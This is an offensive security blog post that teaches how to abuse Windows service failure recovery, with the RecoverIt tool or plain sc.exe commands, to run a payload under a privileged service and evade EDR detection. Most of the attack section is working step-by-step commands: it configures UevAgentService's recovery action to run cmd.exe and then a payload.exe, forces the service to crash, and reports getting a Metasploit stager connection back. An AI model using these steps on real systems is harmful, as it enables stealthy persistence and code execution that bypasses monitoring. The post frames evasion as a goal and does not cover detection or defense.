Welcome back, cyberwarriors!

Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.

RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.

How It Works

Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.

Here is how it works:

PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>

Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.

Abusing Service Recovery Function

For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.

PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService

As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.

Now let’s create a recovery plan for it. 

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”

PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService

Once the service crashes it will print the output of whoami into uev_temp.txt

UevAgentService can be started on boot or on demand:

# On demand - you will need to start it manually 
PS > sc.exe config UevAgentService start= demand

# On boot
PS > sc.exe config UevAgentService start= auto

Then we start it:

PS > sc.exe start UevAgentService

Now we can validate it by checking the state and the result:

PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt

As you can see, the service failed to start and Windows executed the recovery plan.

The example above is benign, but you can also try it in different ways. Here are a few examples:

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"

# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"

We set it up to execute a Metasploit stager and got our connection back.

Summary

Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.

Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.

The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.